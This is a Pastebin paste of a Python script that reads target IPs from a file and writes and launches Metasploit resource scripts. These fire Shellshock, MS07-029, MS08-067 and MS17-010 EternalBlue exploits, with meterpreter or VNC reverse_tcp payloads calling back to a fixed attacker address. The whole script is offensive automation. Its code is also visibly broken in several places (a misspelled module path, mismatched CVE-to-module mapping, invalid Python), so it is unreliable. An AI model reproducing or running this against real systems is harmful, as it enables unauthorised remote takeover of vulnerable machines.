Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- #searches file for list of exploits
- #if found go to X else keep going
- working_dir = "/home/Desktop"
- target_file = "IP.txt"
- Our_IP ="192.168.1.200"
- hosts = ""
- print target_file
- print working_dir
- global Host_is_set
- global our_IP
- #global working_dir
- global Target_file
- ##creats exploit file then ran via command in func below
- def CVE_SHELL(hosts): #name of function and host defined
- with open('IP.txt', 'rb') as fp:
- hosts = fp.read()[:+12]
- os.system('touch /Desktop custom_shock.rc') # makes file with bahs command
- os.system('use exploit/multi/http/apache_mod_cgi_bash_env_exec > custom_shock.rc') #metasploit script shit
- os.system('echo set RHOST '+hosts+' >> custom_shock.rc')
- os.system('echo set payload windows/meterpreter/reverse_tcp >> custom_shock.rc')
- os.system('echo set LHOST ' + Our_IP + ' >> custom_shock.rc')
- os.system('echo set ConnectTimeout 30 >> custom_shock.rc')
- os.system('echo set AutoRunScript multi_console_command -rc ' + working_dir + ' >> custom_shock.rc')
- os.system('echo exploit -j -z >> custom_shock.rc')
- os.system('echo exit -y >> custom_shock.rc')
- os.system('/usr/share/metasploit-framework/modules msfconsole -r custom_shock.rc')
- return hosts
- host = true
- Host_is_set = True;
- ##make exploit script:
- def CVE_2009_3103(hosts): #name of function and host defined
- with open('IP.txt', 'rb') as fp:
- hosts = fp.read()[:+12]
- global Host_is_set
- global our_IP
- global working_dir
- global Target_file
- os.system('touch /Desktop CVE3103.rc') # makes file with bash command
- os.system('use exploit/windows/dcerpc/ms07_029_msdns_zonename > CVE3103.rc') #metasploit script shit
- os.system('echo set RHOST '+ hosts +' >> CVE3103.rc')
- os.system('echo set PAYLOAD windows/meterpreter/reverse_tcp >> CVE3103.rc')
- os.system('echo set LHOST ' + Our_IP + ' >> CVE3103.rc.rc')
- os.system('echo set ConnectTimeout 30 >> CVE3103.rc')
- os.system('echo set AutoRunScript multi_console_command -rc ' + working_dir + ' >> CVE3103.rc')
- os.system('echo use exploit/multi/http/apache_mod_cgi_bash_env_exec -r >> CVE3103.rc')
- os.system('echo run >> CVE3103.rc')
- os.system('sudo msfconsole -r CVE3103.rc')
- return hosts
- host = true
- Host_is_set = True;
- ##make exploit script:
- def MS07_029(hosts):
- with open('IP.txt', 'rb') as fp:
- hosts = fp.read()[:+12]
- os.system('touch /Desktop MS029.rc') # makes file with bash command
- os.system('use exploit/windows/smb/ms07_029_msdns_zonename > MS029.rc') #metasploit script shit
- os.system('echo set RHOST '+ hosts +' >> MS029.rc')
- os.system('echo set PAYLOAD windows/vncinject/reverse_tcp >> MS029.rc')
- os.system('echo set LHOST ' + Our_IP + ' >> MS029.rc')
- os.system('echo set ConnectTimeout 30 >> MS029.rc')
- os.system('echo set AutoRunScript multi_console_command -rc ' + working_dir + ' >> MS029.rc')
- os.system('echo use exploit/multi/http/apache_mod_cgi_bash_env_exec -r >> MS029.rc')
- os.system('echo run >> MS029.rc')
- os.system('sudo msfconsole -r MS029.rc')
- return hosts
- host = true
- Host_is_set = True;
- def MS08_067(hosts): #name of function and host defined
- with open('IP.txt', 'rb') as fp:
- hosts = fp.read()[:+12]
- os.system('touch /Desktop MS067.rc') # makes file with bash command
- os.system('use exploit/windows/smb/ms08_067_netapi > MS067.rc') #metasploit script shit
- os.system('echo set RHOST '+ hosts +' >> MS067.rc')
- os.system('echo set PAYLOAD windows/vncinject/reverse_tcp >> MS067.rc')
- os.system('echo set LHOST ' + Our_IP + ' >> MS067.rc')
- os.system('echo set ConnectTimeout 30 >> MS067.rc')
- os.system('echo set AutoRunScript multi_console_command -rc ' + working_dir + ' >> MS067.rc')
- os.system('echo use exploit/multi/http/apache_mod_cgi_bash_env_exec -r >> MS067.rc')
- os.system('echo run >> MS067.rc')
- os.system('sudo msfconsole -r MS067.rc')
- return hosts
- host = true
- Host_is_set = True;
- def MS17_010(hosts): #name of function and host defined
- with open('IP.txt', 'rb') as fp:
- hosts = fp.read()[:+12]
- os.system('touch /Desktop MS010.rc') # makes file with bash command
- os.system('use eexploit/windows/smb/ms17_010_eternalblue > MS010.rc') #metasploit script shit
- os.system('echo set RHOST '+ hosts +' >> MS010.rc')
- os.system('echo set PAYLOAD windows/x64/vncinject/reverse_tcp >> MS010.rc')
- os.system('echo set LHOST ' + Our_IP + ' >> MS010.rc')
- os.system('echo set ConnectTimeout 30 >> MS010.rc')
- os.system('echo set AutoRunScript multi_console_command -rc ' + working_dir + ' >> MS010.rc')
- #stopps working form here
- os.system('echo use exploit/multi/http/apache_mod_cgi_bash_env_exec -r >> MS010.rc')
- os.system('sudo msfconsole -r MS010.rc')
- return hosts
- host = true
- Host_is_set = True;
- if __name__ == "__main__":
- with open('exploits.txt', 'r') as searchfile:
- for line in searchfile:
- if 'CVE-2014-6271' in line:
- print('Omae Wa Mou Shindeiru')
- CVE_SHELL(hosts)
- elif 'CVE2009-3103' in line:
- print('ooh senpai UwU')
- CVE_2009_3103(hosts)
- elif 'MS07-029' in line:
- print('ITS OVER 9000')
- MS07_029(hosts)
- elif 'MS08-067' in line:
- print('ima fireing my lazor brawwwwwww')
- elif 'MS17-010' in line:
- print('popping the shell')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement